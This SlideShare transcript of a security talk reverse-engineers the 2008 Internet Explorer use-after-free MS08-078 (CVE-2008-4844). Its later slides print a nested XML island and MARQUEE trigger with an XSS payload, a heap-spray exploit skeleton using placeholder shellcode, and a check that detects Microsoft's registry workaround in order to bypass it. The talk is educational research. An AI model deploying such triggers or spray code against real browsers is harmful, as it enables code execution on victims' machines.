SlideShare a Scribd company logo
A client-side vulnerability
under the microscope!
Nelson Brito
Security Research Enthusiast
Agenda
Motivation
Inception
Dream Level 1
Dream Level 2
Dream Level 3
Kick or Limbo
Questions
“if(time) BONUS();”
Motivation
The ugly truth!
Misinformation
Many presentations have been done in Brazil, regarding reverse engineer, as
well as too much useless information:
Mostly related to purpose-built frameworks, tools and libraries.
Some others addressing how to translate to a readable format.
Leaving the apprentices in a “black hole”, with tons of misinformation.
I call this deception.
The community demands much more than simple “hello world” bugs.
Since you have created the bug, you can exploit it easily.
Inception
“The most resilient parasite is an
idea planted in the unconscious
mind...”
Reverse Engineer
Every time a new vulnerability comes out, we should be ready to understand
it, in order to perform: Exploitation, Detection, Prevention and Mitigation.
Sometimes, none or just a few information regarding a new vulnerability is
publicly available.
Sometimes, these information regarding a new vulnerability are wrong or, to
be polite, uncompleted.
Reverse engineer is one of the most powerful approaches available to deeply
understand a new vulnerability, and, sometimes, to rediscover (?) the new
vulnerability.
Design the dream levels

vulnerability

vulnerable

exploitation

ecosystem

prevention

arbitrary code
attack prevention
Kick or Limbo Dream Level 3 Dream Level 2 Dream Level 1

Design the dream levels
vulnerability

specification
documentation

vulnerable
ecosystem

black box

knowledge
base

code review

white box

knowledge

reverse engineer

black box

base

knowledge

exploitation

base

prevention

arbitrary code
attack prevention
Dream Level 1
Preparing the vulnerable
ecosystem...
Checklist
Has a vulnerability been chosen?
There is nothing to do without a vulnerability.
Are there valuable information about the vulnerability?
Gather valuable information to understand the weakness type regarding the vulnerability, as well as
any feature and/or technology surrounding to trigger the vulnerability.
Is the vulnerable ecosystem affordable?
Avoid exotic vulnerable ecosystem, because it must be configured as a test-bed and its deep
knowledge are “sine qua non”.
Are there public tools available to perform a reverse engineer?
A good set of public tools will define the success of the reverse engineer – development skills are
always necessary, otherwise the reverse engineer will fail.
Which analysis method should be applied?
Choose and understand the analysis method that will be applied.
Valuable information
MS08-078:
CVE-2008-4844.
CWE-367 – TOCTOU Race Condition.
CVSS – 9.3 (HIGH).
Affected systems:
Microsoft Internet Explorer 5.01 SP4, 6 SP 0/1, 7 and 8 Beta 1/2.
Microsoft Windows XP SP 1/2/3, Vista SP 0/1/2, Server 2003 SP 0/1/2
and Server 2008 SP 0/1/2.
Public tools
Debugging T
ools for Windows:
It is a set of extensible tools for debugging device drivers for the Microsoft
Windows family of operating systems.
It supports debugging of:
Applications, services, drivers, and the Windows kernel.
Native 32-bit x86, native Intel Itanium, and native x64 platforms.
Microsoft Windows NT 4, 2000, XP, Vista, Server 2003 and Server 2008.
User-mode programs and kernel-mode programs.
Live targets and dump files.
Local and remote targets.
The IDA (Interactive DisAssembler) Pro 5.0 Freeware is also recommended.
Analysis methods
White box:
Also known as Static Code Analysis, and it looks at applications in
non-runtime environment.
Black Box:
Also known as Dynamic Code Analysis, and it looks at applications in
runtime environment.
Grey/Gray Box:
It is a mix of White Box and Black Box.
Checklist
Has a vulnerability been chosen?
MS08-078 (CVE-2008-4844).
Are there valuable information about the vulnerability?
Keywords: “XML Island”, “Data Binding”, “use-after-free”, “MSHTML.dll”, “XML document”,
“<SPAN>”, “nested”.
Is the vulnerable ecosystem affordable?
Microsoft Internet Explorer 7 and Microsoft Windows XP SP3
Are there public tools available to perform a reverse engineer?
Debugging T
ools for Windows, Windows Symbol Package for Windows XP SP3 and IDA Pro 5.0
Freeware Version.
Which analysis method should be applied?
White Box, Black Box and Grey/Gray Box.
Dream Level 2
Gathering valuable information of
vulnerability...
XML island
XML Data Island:
XML document that exists within an HTML page.
Allows to script against the XML document:
Without having to load the XML document through script or through
the HTML <OBJECT> element.
XML Data Island can be embedded using one of the following methods:
HTML <XML> element.
HTML <SCRIPT> element.
Data binding
Data Source Object (DSO):
T bind data to the elements of an HTML page in Microsoft Internet
o
Explorer, a DSO must be present on that page.
Data Consumers:
Data consumers are elements on the HTML page that are capable of
rendering the data supplied by a DSO.
Binding Agent and T
able Repetition Agent:
The binding and repetition agents are implemented by MSHTML.dll,
the HTML viewer for Microsoft Internet Explorer, and they work
completely behind the scenes.
Use-after-free
Referencing memory after it has been freed can cause a program to crash,
use unexpected values, or execute code.
The use of previously-freed memory can have any number of adverse
consequences, ranging from the corruption of valid data to the execution of
arbitrary code.
Use-after-free errors have two common and sometimes overlapping causes:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for freeing the
memory.
Briefly, an use-after-free vulnerability can lead to execute arbitrary code.
Microsoft® HTML Viewer
MSHTML.dll is at the heart of Internet Explorer and takes care of its HTML
and Cascading Style Sheets (CSS) parsing and rendering functionality.

MSHTML.dll exposes interfaces that enable you to host it as an active
document.

MSHTML.dll may be called upon to host other components depending on the
HTML document's content, such as:
Scripting Engines:
Microsoft Java Scripting (JScript).
Visual Basic Scripting (VBScript).
ActiveX Controls.
XML Data.
XML document
Defined by W3C:
“Extensible Markup Language (XML) 1.0 (Fifth Edition)” (November
28th, 2008).
XML elements must follow some basic name rules:
Names can contain letters, numbers, and other characters.
Names must not start with a number or punctuation character.
Names must not start with the letters xml (or XML, or Xml, etc).
Names cannot contain spaces.
There are only five built-in character entities for XML:
“<”, “>”, “&”, “”” and “’”.
Dream Level 3
Analyzing the vulnerability...
T
riggering
First clue about this trigger came from Microsoft Security Development
Lifecycle (SDL):

“T
riggering the bug would require a fuzzing tool that builds data streams

with multiple data binding constructs with the same identifier.”, “Random
(or dumb) fuzzing payloads of this data type would probably not

trigger the bug, however.”, “When data binding is used, IE creates an
object which contains an array of data binding objects.”

It might mean that one – or more – of the following objects must be nested to

be “allocated” and “released”: XML Data Island, Data Source Object (DSO)
and/or Data Consumers.
Nested means:
<{Element}><{Element}></{Element}></{Element}>
Mapping
The first contact is the most important reverse engineer step.
It will define all the next steps the reverse engineer will follow in order to
acquire knowledge about the vulnerability.
Remember:
“It’s the first impression that stays on!”
The first contact (impression) will lead all the rest of reverse engineer , no
matter what is done after – pay attention.
Ensure to load the Windows symbol files, in order to understand the
vulnerability – it will be very helpful to map the object classes, properties
and/or methods.
Understanding
A client-side vulnerability under the microscope!
A client-side vulnerability under the microscope!
A client-side vulnerability under the microscope!
A client-side vulnerability under the microscope!
A client-side vulnerability under the microscope!
esi = ((dword ptr [edi+8]) >> 2) - 1;
ebx = 0;

!
do{
eax = dword ptr [edi+12];
ecx = dword ptr [eax+ebx*4];
if(!(ecx)) break;
ecx->mshtml!CXfer::T
ransferFromSrc();
...
ebx++;
}while(ebx <= esi);
Kick or Limbo
Exploiting the vulnerability...
Getting control
<XML ID=I><X><C>
&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>
<XML ID=I><X><C>
<IMG SRC= “javascript:
</C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</MARQUEE>
</MARQUEE>

mshtml!CXfer::T
ransferFromSrc+0x38

EIP = DWORD PTR [ECX+84h] {ECX+84h = 0A0A0A0Ah}
Heap-spraying
Wikipedia description:
“In computer security, heap spraying is a technique used in exploits to
facilitate arbitrary code execution.”
“In general, code that sprays the heap attempts to put a certain
sequence of bytes at a predetermined location in the memory of a
target process by having it allocate (large) blocks on the process' heap
and fill the bytes in these blocks with the right values.”
A JavaScript library has been created to optimize the exploitation – inspired
on:
JavaScript Heap Exploitation library by Alexander Sotirov.
var obj = new Exploit();
obj.address(address,format)
obj.ascii(method,format,size)
obj.banner(memory)
obj.check(address,shellcode,memory)
obj.chunk1mb(block64k)
obj.chunk64k(address,shellcode)

!
!
!
!
!
!
!
!
!

!
!
!
!
!
!
!
!
obj.even(shellcode)
obj.heap(block1mb,memory)
obj.hexa(address,size)
obj.memory(address)
obj.random(maximum)
obj.shellcode(shellcode,format)
obj.spray(address,shellcode,memory)
function Inception (){
var ms08_078 = new Exploit();
var choice, memory, address, shellcode, trigger = new String();
ms08_078.offset = [0x0a0a0a0a]; ms08_078.code[1] = “cc cc cc cc”;
choice = ms08_078.random(ms08_078.offset.length);
memory = ms08_078.memory(ms08_078.offset[choice]);
address = ms08_078.address(ms08_078.offset[choice], 0);
shellcode = ms08_078.shellcode(ms08_078.code[1], 0);
trigger = trigger.concat(“<XML ID=I><X><C>...”);
...
if(ms08_078.spray(address, shellcode, memory))
document.getElementById(“b00m”).innerHTML = trigger;
}
Questions
Questions and answers...
TIME

?

THE

END
BONUS
There is much more ground to be
covered...
Disable XML island functionality
Create a backup copy of the registry keys by using the following command
from an elevated command prompt:
...
Next, save the following to a file with a .REG extension, such as
Disable_XML_Island.reg:
Windows Registry Editor Version 5.00
[ - H K E Y _ C L A S S E S _ RO OT  C L S I D  { 3 7 9 E 5 0 1 F- B 2 3 1 - 1 1 D 1 ADC1-00805FC752D8}]
Run Disable_XML_Island.reg with the following command from an elevated
command prompt:
Regedit.exe /s Disable_XML_Island.reg
Bypassing workaround
XML Data Source Object 1.0
550DDA30-0541-11D2-9CA9-0060B0EC3D39
XML Data Source Object 3.0
F5078F39-C551-11D3-89B9-0000F81FE221
F6D90F14-9C73-11D3-B32E-00C04F990BB4
T
abular Data Control
333C7BC4-460F-11D0-BC04-0080C7055A83
var ms08_078 = new Exploit();
var ... automation = new Boolean(false), wshell,
hkey = “HKCRCLSID{379E501F-B231-11D1-ADC1-00805FC752D8}”;
try{
wshell = new ActiveXObject(“WScript.Shell”);
automation = true;
} catch(error) { automation = false; }
if(automation){
try { wshell.RegRead(hkey); } catch(error) { automation = false; }
}
CVE description
Previous CVE-2008-4844 description:
Use-after-free vulnerability in mshtml.dll in Microsoft Internet Explorer 5.01,
6, and 7 on Windows XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold
and SP1, and Server 2008 allows remote attackers to execute arbitrary code
via a crafted XML document containing nested SPAN elements, as exploited
in the wild in December 2008.
Current CVE-2008-4844 description:
Use-after-free vulnerability in the CRecordInstance::T
ransferT
oDestination
function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7
allows remote attackers to execute arbitrary code via DSO bindings
involving (1) an XML Island, (2) XML DSOs, or (3) T
abular Data Control
(TDC) in a crafted HTML or XML document, as demonstrated by nested
SPAN or MARQUEE elements, and exploited in the wild in December 2008.
Thank you!
©2011-2013 Nelson Brito. All rights reserved.
http://about.me/nbrito

More Related Content

What's hot (19)

PDF
Embedded device hacking Session i
Malachi Jones
 
PPT
JavaSecure
SangbeomKim
 
PDF
Source Boston 2009 - Anti-Debugging A Developers Viewpoint
Tyler Shields
 
PDF
IDA Vulnerabilities and Bug Bounty  by Masaaki Chida
CODE BLUE
 
PDF
Mind your language(s), A Discussion about Languages and Security
AdaCore
 
PPTX
Indicators of compromise: From malware analysis to eradication
Michael Boman
 
PDF
Codetainer: a Docker-based browser code 'sandbox'
Jen Andre
 
PDF
Malicious File for Exploiting Forensic Software
Takahiro Haruyama
 
PDF
How to write clean & testable code without losing your mind
Andreas Czakaj
 
PDF
[HES2013] Nifty stuff that you can still do with android by Xavier Martin
Hackito Ergo Sum
 
PPT
OWASP Much ado about randomness
Aleksandr Yampolskiy
 
PPTX
Buffer overflow attacks
Kapil Nagrale
 
PPTX
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Shota Shinogi
 
PDF
Exploitation and State Machines
Michael Scovetta
 
PPTX
Software Security : From school to reality and back!
Peter Hlavaty
 
PDF
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Takahiro Haruyama
 
PDF
44CON London - Attacking VxWorks: from Stone Age to Interstellar
44CON
 
PDF
Understanding the fundamentals of attacks
Cyber Security Alliance
 
Embedded device hacking Session i
Malachi Jones
 
JavaSecure
SangbeomKim
 
Source Boston 2009 - Anti-Debugging A Developers Viewpoint
Tyler Shields
 
IDA Vulnerabilities and Bug Bounty  by Masaaki Chida
CODE BLUE
 
Mind your language(s), A Discussion about Languages and Security
AdaCore
 
Indicators of compromise: From malware analysis to eradication
Michael Boman
 
Codetainer: a Docker-based browser code 'sandbox'
Jen Andre
 
Malicious File for Exploiting Forensic Software
Takahiro Haruyama
 
How to write clean & testable code without losing your mind
Andreas Czakaj
 
[HES2013] Nifty stuff that you can still do with android by Xavier Martin
Hackito Ergo Sum
 
OWASP Much ado about randomness
Aleksandr Yampolskiy
 
Buffer overflow attacks
Kapil Nagrale
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Shota Shinogi
 
Exploitation and State Machines
Michael Scovetta
 
Software Security : From school to reality and back!
Peter Hlavaty
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Takahiro Haruyama
 
44CON London - Attacking VxWorks: from Stone Age to Interstellar
44CON
 
Understanding the fundamentals of attacks
Cyber Security Alliance
 

Viewers also liked (20)

ODP
Microsoft GDI+ JPEG Integer Underflow Vulnerability
Ashish Malik
 
PDF
Gestão de Patches e Vulnerabilidades
Marcelo Martins
 
PDF
Permutation Oriented Programming: (Re)searching for alternatives!
Nelson Brito
 
PDF
Cloud: Should I Stay or Should I Go?
Marcelo Martins
 
PDF
SyScan Singapore 2010 - Returning Into The PHP-Interpreter
Stefan Esser
 
PDF
Secure Application Development in the Age of Continuous Delivery
Black Duck by Synopsys
 
PDF
Exploit Next Generation®: Missão dada é missão cumprida!
Nelson Brito
 
PPTX
Hexadecimal (Calculations and Explanations)
Project Student
 
PDF
Inception: Tips and tricks I’ve learned reversing vulnerabilities!
Nelson Brito
 
PDF
The Departed: Exploit Next Generation® – The Philosophy
Nelson Brito
 
PDF
Permutation Oriented Programming
Nelson Brito
 
PPTX
Workforce Planning (Process, Labour Shortage, Excess Labour)
Project Student
 
PPTX
Changes in working practices
Project Student
 
PPTX
Programming Languages / Translators
Project Student
 
PDF
The Caesar Cipher
Annalisa Di Pierro
 
PPTX
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...
Project Student
 
PPTX
FormacaoCrypto
Igor Antunes
 
PDF
Patch and Vulnerability Management
Marcelo Martins
 
PPTX
Cryptography - 101
n|u - The Open Security Community
 
PDF
Criptografia Aplicada
Marcelo Martins
 
Microsoft GDI+ JPEG Integer Underflow Vulnerability
Ashish Malik
 
Gestão de Patches e Vulnerabilidades
Marcelo Martins
 
Permutation Oriented Programming: (Re)searching for alternatives!
Nelson Brito
 
Cloud: Should I Stay or Should I Go?
Marcelo Martins
 
SyScan Singapore 2010 - Returning Into The PHP-Interpreter
Stefan Esser
 
Secure Application Development in the Age of Continuous Delivery
Black Duck by Synopsys
 
Exploit Next Generation®: Missão dada é missão cumprida!
Nelson Brito
 
Hexadecimal (Calculations and Explanations)
Project Student
 
Inception: Tips and tricks I’ve learned reversing vulnerabilities!
Nelson Brito
 
The Departed: Exploit Next Generation® – The Philosophy
Nelson Brito
 
Permutation Oriented Programming
Nelson Brito
 
Workforce Planning (Process, Labour Shortage, Excess Labour)
Project Student
 
Changes in working practices
Project Student
 
Programming Languages / Translators
Project Student
 
The Caesar Cipher
Annalisa Di Pierro
 
Product (Product Portfolio, Branding, USP, Product Depth and Breadth, Product...
Project Student
 
FormacaoCrypto
Igor Antunes
 
Patch and Vulnerability Management
Marcelo Martins
 
Criptografia Aplicada
Marcelo Martins
 
Ad

Similar to A client-side vulnerability under the microscope! (20)

PDF
Reversing Engineer: Dissecting a "Client Side" Vulnerability in the APT era
Nelson Brito
 
PDF
Inception: A reverse-engineer horror History
Nelson Brito
 
PDF
Dev and Blind - Attacking the weakest Link in IT Security
Mario Heiderich
 
PPTX
Vulnerability, exploit to metasploit
Tiago Henriques
 
PPTX
Reverse Engineering 101
ysurer
 
PPTX
Reversing & malware analysis training part 1 lab setup guide
securityxploded
 
PPTX
Reverse Engineering.pptx
Sameer Sapra
 
PPTX
Reverse Engineering .NET and Java
Joe Kuemerle
 
PDF
Digging deeper into the IE vulnerability CVE-2014-1776 with Cyphort
Cyphort
 
PDF
Software Reverse Engineering in a Security Context
Lokendra Rawat
 
PDF
Window Shopping Browser - Bug Hunting in 2012
Roberto Suggi Liverani
 
PDF
Detecting Web Browser Heap Corruption Attacks - Stephan Chenette, Moti Joseph...
Stephan Chenette
 
PPTX
Malware 101 by saurabh chaudhary
Saurav Chaudhary
 
PPS
Anant kochhar _revealing_the_secrets - ClubHack2009
ClubHack
 
PDF
Demystifying Binary Reverse Engineering - Pixels Camp
André Baptista
 
PPTX
Reversing malware analysis training part10 exploit development basics
Cysinfo Cyber Security Community
 
PPTX
Reversing malware analysis training part1 lab setup guide
Cysinfo Cyber Security Community
 
PDF
Routine Detection Of Web Application Defence Flaws
IJTET Journal
 
PDF
Browser exploitation SEC-T 2019 stockholm
Jameel Nabbo
 
PDF
Ani hilate this week
UltraUploader
 
Reversing Engineer: Dissecting a "Client Side" Vulnerability in the APT era
Nelson Brito
 
Inception: A reverse-engineer horror History
Nelson Brito
 
Dev and Blind - Attacking the weakest Link in IT Security
Mario Heiderich
 
Vulnerability, exploit to metasploit
Tiago Henriques
 
Reverse Engineering 101
ysurer
 
Reversing & malware analysis training part 1 lab setup guide
securityxploded
 
Reverse Engineering.pptx
Sameer Sapra
 
Reverse Engineering .NET and Java
Joe Kuemerle
 
Digging deeper into the IE vulnerability CVE-2014-1776 with Cyphort
Cyphort
 
Software Reverse Engineering in a Security Context
Lokendra Rawat
 
Window Shopping Browser - Bug Hunting in 2012
Roberto Suggi Liverani
 
Detecting Web Browser Heap Corruption Attacks - Stephan Chenette, Moti Joseph...
Stephan Chenette
 
Malware 101 by saurabh chaudhary
Saurav Chaudhary
 
Anant kochhar _revealing_the_secrets - ClubHack2009
ClubHack
 
Demystifying Binary Reverse Engineering - Pixels Camp
André Baptista
 
Reversing malware analysis training part10 exploit development basics
Cysinfo Cyber Security Community
 
Reversing malware analysis training part1 lab setup guide
Cysinfo Cyber Security Community
 
Routine Detection Of Web Application Defence Flaws
IJTET Journal
 
Browser exploitation SEC-T 2019 stockholm
Jameel Nabbo
 
Ani hilate this week
UltraUploader
 
Ad

More from Nelson Brito (7)

PDF
SQL Fingerprint NG - A Next Generation DB Scanner
Nelson Brito
 
PDF
Próximo passo evolutivo de um DB Scanner
Nelson Brito
 
PDF
Inception: Support Slides
Nelson Brito
 
PDF
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)
Nelson Brito
 
PDF
Keynote: Where is my identity?
Nelson Brito
 
PDF
Worms 2.0: Evolution — From SyFy to "You Die"
Nelson Brito
 
PPT
Worms: Conheça o inimigo e defenda-se
Nelson Brito
 
SQL Fingerprint NG - A Next Generation DB Scanner
Nelson Brito
 
Próximo passo evolutivo de um DB Scanner
Nelson Brito
 
Inception: Support Slides
Nelson Brito
 
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)
Nelson Brito
 
Keynote: Where is my identity?
Nelson Brito
 
Worms 2.0: Evolution — From SyFy to "You Die"
Nelson Brito
 
Worms: Conheça o inimigo e defenda-se
Nelson Brito
 

Recently uploaded (20)

PPTX
Building Search Using OpenSearch: Limitations and Workarounds
Sease
 
PDF
Predicting the unpredictable: re-engineering recommendation algorithms for fr...
Speck&Tech
 
PDF
Chris Elwell Woburn, MA - Passionate About IT Innovation
Chris Elwell Woburn, MA
 
PDF
July Patch Tuesday
Ivanti
 
PDF
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
PDF
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 
PDF
Timothy Rottach - Ramp up on AI Use Cases, from Vector Search to AI Agents wi...
AWS Chicago
 
PDF
Why Orbit Edge Tech is a Top Next JS Development Company in 2025
mahendraalaska08
 
PDF
Blockchain Transactions Explained For Everyone
CIFDAQ
 
PDF
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
PPTX
MSP360 Backup Scheduling and Retention Best Practices.pptx
MSP360
 
PPTX
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
PPTX
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
PDF
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
PDF
The Builder’s Playbook - 2025 State of AI Report.pdf
jeroen339954
 
PDF
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
PDF
Smart Air Quality Monitoring with Serrax AQM190 LITE
SERRAX TECHNOLOGIES LLP
 
PDF
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
PDF
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
PPTX
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
Building Search Using OpenSearch: Limitations and Workarounds
Sease
 
Predicting the unpredictable: re-engineering recommendation algorithms for fr...
Speck&Tech
 
Chris Elwell Woburn, MA - Passionate About IT Innovation
Chris Elwell Woburn, MA
 
July Patch Tuesday
Ivanti
 
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 
Timothy Rottach - Ramp up on AI Use Cases, from Vector Search to AI Agents wi...
AWS Chicago
 
Why Orbit Edge Tech is a Top Next JS Development Company in 2025
mahendraalaska08
 
Blockchain Transactions Explained For Everyone
CIFDAQ
 
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
MSP360 Backup Scheduling and Retention Best Practices.pptx
MSP360
 
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
The Builder’s Playbook - 2025 State of AI Report.pdf
jeroen339954
 
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
Smart Air Quality Monitoring with Serrax AQM190 LITE
SERRAX TECHNOLOGIES LLP
 
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 

A client-side vulnerability under the microscope!

  • 1. A client-side vulnerability under the microscope! Nelson Brito Security Research Enthusiast
  • 2. Agenda Motivation Inception Dream Level 1 Dream Level 2 Dream Level 3 Kick or Limbo Questions “if(time) BONUS();”
  • 4. Misinformation Many presentations have been done in Brazil, regarding reverse engineer, as well as too much useless information: Mostly related to purpose-built frameworks, tools and libraries. Some others addressing how to translate to a readable format. Leaving the apprentices in a “black hole”, with tons of misinformation. I call this deception. The community demands much more than simple “hello world” bugs. Since you have created the bug, you can exploit it easily.
  • 5. Inception “The most resilient parasite is an idea planted in the unconscious mind...”
  • 6. Reverse Engineer Every time a new vulnerability comes out, we should be ready to understand it, in order to perform: Exploitation, Detection, Prevention and Mitigation. Sometimes, none or just a few information regarding a new vulnerability is publicly available. Sometimes, these information regarding a new vulnerability are wrong or, to be polite, uncompleted. Reverse engineer is one of the most powerful approaches available to deeply understand a new vulnerability, and, sometimes, to rediscover (?) the new vulnerability.
  • 7. Design the dream levels vulnerability vulnerable exploitation ecosystem prevention arbitrary code attack prevention
  • 8. Kick or Limbo Dream Level 3 Dream Level 2 Dream Level 1 Design the dream levels vulnerability specification documentation vulnerable ecosystem black box knowledge base code review white box knowledge reverse engineer black box base knowledge exploitation base prevention arbitrary code attack prevention
  • 9. Dream Level 1 Preparing the vulnerable ecosystem...
  • 10. Checklist Has a vulnerability been chosen? There is nothing to do without a vulnerability. Are there valuable information about the vulnerability? Gather valuable information to understand the weakness type regarding the vulnerability, as well as any feature and/or technology surrounding to trigger the vulnerability. Is the vulnerable ecosystem affordable? Avoid exotic vulnerable ecosystem, because it must be configured as a test-bed and its deep knowledge are “sine qua non”. Are there public tools available to perform a reverse engineer? A good set of public tools will define the success of the reverse engineer – development skills are always necessary, otherwise the reverse engineer will fail. Which analysis method should be applied? Choose and understand the analysis method that will be applied.
  • 11. Valuable information MS08-078: CVE-2008-4844. CWE-367 – TOCTOU Race Condition. CVSS – 9.3 (HIGH). Affected systems: Microsoft Internet Explorer 5.01 SP4, 6 SP 0/1, 7 and 8 Beta 1/2. Microsoft Windows XP SP 1/2/3, Vista SP 0/1/2, Server 2003 SP 0/1/2 and Server 2008 SP 0/1/2.
  • 12. Public tools Debugging T ools for Windows: It is a set of extensible tools for debugging device drivers for the Microsoft Windows family of operating systems. It supports debugging of: Applications, services, drivers, and the Windows kernel. Native 32-bit x86, native Intel Itanium, and native x64 platforms. Microsoft Windows NT 4, 2000, XP, Vista, Server 2003 and Server 2008. User-mode programs and kernel-mode programs. Live targets and dump files. Local and remote targets. The IDA (Interactive DisAssembler) Pro 5.0 Freeware is also recommended.
  • 13. Analysis methods White box: Also known as Static Code Analysis, and it looks at applications in non-runtime environment. Black Box: Also known as Dynamic Code Analysis, and it looks at applications in runtime environment. Grey/Gray Box: It is a mix of White Box and Black Box.
  • 14. Checklist Has a vulnerability been chosen? MS08-078 (CVE-2008-4844). Are there valuable information about the vulnerability? Keywords: “XML Island”, “Data Binding”, “use-after-free”, “MSHTML.dll”, “XML document”, “<SPAN>”, “nested”. Is the vulnerable ecosystem affordable? Microsoft Internet Explorer 7 and Microsoft Windows XP SP3 Are there public tools available to perform a reverse engineer? Debugging T ools for Windows, Windows Symbol Package for Windows XP SP3 and IDA Pro 5.0 Freeware Version. Which analysis method should be applied? White Box, Black Box and Grey/Gray Box.
  • 15. Dream Level 2 Gathering valuable information of vulnerability...
  • 16. XML island XML Data Island: XML document that exists within an HTML page. Allows to script against the XML document: Without having to load the XML document through script or through the HTML <OBJECT> element. XML Data Island can be embedded using one of the following methods: HTML <XML> element. HTML <SCRIPT> element.
  • 17. Data binding Data Source Object (DSO): T bind data to the elements of an HTML page in Microsoft Internet o Explorer, a DSO must be present on that page. Data Consumers: Data consumers are elements on the HTML page that are capable of rendering the data supplied by a DSO. Binding Agent and T able Repetition Agent: The binding and repetition agents are implemented by MSHTML.dll, the HTML viewer for Microsoft Internet Explorer, and they work completely behind the scenes.
  • 18. Use-after-free Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code. The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code. Use-after-free errors have two common and sometimes overlapping causes: Error conditions and other exceptional circumstances. Confusion over which part of the program is responsible for freeing the memory. Briefly, an use-after-free vulnerability can lead to execute arbitrary code.
  • 19. Microsoft® HTML Viewer MSHTML.dll is at the heart of Internet Explorer and takes care of its HTML and Cascading Style Sheets (CSS) parsing and rendering functionality. MSHTML.dll exposes interfaces that enable you to host it as an active document. MSHTML.dll may be called upon to host other components depending on the HTML document's content, such as: Scripting Engines: Microsoft Java Scripting (JScript). Visual Basic Scripting (VBScript). ActiveX Controls. XML Data.
  • 20. XML document Defined by W3C: “Extensible Markup Language (XML) 1.0 (Fifth Edition)” (November 28th, 2008). XML elements must follow some basic name rules: Names can contain letters, numbers, and other characters. Names must not start with a number or punctuation character. Names must not start with the letters xml (or XML, or Xml, etc). Names cannot contain spaces. There are only five built-in character entities for XML: “<”, “>”, “&”, “”” and “’”.
  • 21. Dream Level 3 Analyzing the vulnerability...
  • 22. T riggering First clue about this trigger came from Microsoft Security Development Lifecycle (SDL): “T riggering the bug would require a fuzzing tool that builds data streams with multiple data binding constructs with the same identifier.”, “Random (or dumb) fuzzing payloads of this data type would probably not trigger the bug, however.”, “When data binding is used, IE creates an object which contains an array of data binding objects.” It might mean that one – or more – of the following objects must be nested to be “allocated” and “released”: XML Data Island, Data Source Object (DSO) and/or Data Consumers. Nested means: <{Element}><{Element}></{Element}></{Element}>
  • 23. Mapping The first contact is the most important reverse engineer step. It will define all the next steps the reverse engineer will follow in order to acquire knowledge about the vulnerability. Remember: “It’s the first impression that stays on!” The first contact (impression) will lead all the rest of reverse engineer , no matter what is done after – pay attention. Ensure to load the Windows symbol files, in order to understand the vulnerability – it will be very helpful to map the object classes, properties and/or methods.
  • 30. esi = ((dword ptr [edi+8]) >> 2) - 1; ebx = 0; ! do{ eax = dword ptr [edi+12]; ecx = dword ptr [eax+ebx*4]; if(!(ecx)) break; ecx->mshtml!CXfer::T ransferFromSrc(); ... ebx++; }while(ebx <= esi);
  • 31. Kick or Limbo Exploiting the vulnerability...
